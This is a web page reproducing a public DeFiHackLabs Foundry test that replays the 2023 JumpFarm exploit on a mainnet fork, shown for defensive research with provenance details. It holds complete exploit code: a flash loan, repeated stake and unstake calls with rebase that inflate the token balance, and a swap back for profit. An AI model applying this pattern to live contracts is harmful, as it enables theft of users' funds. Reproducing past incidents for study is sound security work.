Public reproduction file
src/test/2023-09/JumpFarm_exp.sol
Public reproduction file for dataset entry JumpFarm.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo -- Total Lost : ~$2.4ETH8// Attacker : https://etherscan.io/address/0x6CE9fa08F139F5e48bc607845E57efE9AA34C9F69// Attack Contract : https://etherscan.io/address/0x154863eb71De4a34F88Ea57450840eAB1c71abA610// Attacker Transaction : https://explorer.phalcon.xyz/tx/eth/0x6189ad07894507d15c5dff83f547294e72f18561dc5662a8113f7eb932a5b07912// @Analysis13// https://twitter.com/DecurityHQ/status/169938490421820261815interface IStaking {16 function unstake(address _to, uint256 _amount, bool _rebase) external;17 function stake(address _to, uint256 _amount) external;18}20contract JumpFarmExploit is Test {21 IBalancerVault balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);22 IERC20 weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);23 IUniswapV2Router router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));24 IERC20 jump = IERC20(0x39d8BCb39DE75218E3C08200D95fde3a479D7a14);25 IStaking staking = IStaking(0x05999eB831ae28Ca920cE645A5164fbdB1D74Fe9);26 IERC20 sJump = IERC20(0xdd28c9d511a77835505d2fBE0c9779ED39733bdE);28 function setUp() public {29 vm.createSelectFork("mainnet", 18_070_346);31 vm.label(address(balancer), "BalancerVault");32 vm.label(address(weth), "WETH");33 vm.label(address(router), "UniswapV2 Rounter");34 vm.label(address(jump), "jump");35 vm.label(address(staking), "staking");36 }38 function testExploit() public {39 address[] memory token = new address[](1);40 token[0] = address(weth);41 uint256[] memory amount = new uint256[](1);42 amount[0] = 15 * 1 ether;43 balancer.flashLoan(address(this), token, amount, hex"28");45 // weth.withdraw(weth.balanceOf(address(this)));46 emit log_named_decimal_uint("eth balance after exploit", weth.balanceOf(address(this)), 18);47 }49 function receiveFlashLoan(50 address[] memory, /*tokens*/51 uint256[] memory amounts,52 uint256[] memory feeAmounts,53 bytes memory userData54 ) external {55 weth.approve(address(router), type(uint256).max);56 address[] memory path = new address[](2);57 path[0] = address(weth);58 path[1] = address(jump);59 router.swapExactTokensForTokens(amounts[0], 0, path, address(this), block.timestamp);60 jump.approve(address(staking), type(uint256).max);61 sJump.approve(address(staking), type(uint256).max);62 uint8 i = 0;63 while (i < uint8(userData[0])) {64 i += 1;65 uint256 amountJump = jump.balanceOf(address(this));66 staking.stake(address(this), amountJump);67 uint256 amountSJump = sJump.balanceOf(address(this));68 staking.unstake(address(this), amountSJump, true);69 }71 jump.approve(address(router), type(uint256).max);72 uint256 amount = jump.balanceOf(address(this));73 emit log_named_decimal_uint("jump token balance after exploit", amount, jump.decimals());75 path[0] = address(jump);76 path[1] = address(weth);77 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);78 weth.transfer(address(balancer), amounts[0] + feeAmounts[0]);79 }81 receive() external payable {}82}Analysis
Dataset entry
Public Foundry test for “JumpFarm” (2023-09-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-09/0x0DEX_exp.solSame month in the dataset · 269 lines
- src/test/2023-09/APIG_exp.solSame month in the dataset · 105 lines
- src/test/2023-09/BFCToken_exp.solSame month in the dataset · 109 lines
- src/test/2023-09/CEXISWAP_exp.solSame month in the dataset · 77 lines
- src/test/2023-09/DAppSocial_exp.solSame month in the dataset · 109 lines
- src/test/2023-09/DEXRouter_exp.solSame month in the dataset · 55 lines
- src/test/2023-09/FireBirdPair_exp.solSame month in the dataset · 141 lines
- src/test/2023-09/FloorDAO_exp.solSame month in the dataset · 83 lines
- src/test/2023-09/HCT_exp.solSame month in the dataset · 105 lines
- src/test/2023-09/HeavensGate_exp.solSame month in the dataset · 97 lines
- src/test/2023-09/Kub_Split_exp.solSame month in the dataset · 226 lines
- src/test/2023-09/QuantumWN_exp.solSame month in the dataset · 73 lines
- src/test/2023-09/uniclyNFT_exp.solSame month in the dataset · 126 lines
- src/test/2023-09/XSDWETHpool_exp.solSame month in the dataset · 123 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x6ce9fa08f139f5e48bc607845e57efe9aa34c9f6
- Attack Contract
0x154863eb71de4a34f88ea57450840eab1c71aba6
- Attacker
0x6189ad07894507d15c5dff83f547294e72f18561
File record
- Name
- JumpFarm
- Path
- src/test/2023-09/JumpFarm_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- f806d39e8b962571ff7b6dd70143e09c918af334
- Language
- Solidity
- Size
- 83 lines
- Date
- 2023-09-05
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-09/JumpFarm_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f806d39e8b962571ff7b6dd70143e09c918af334, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.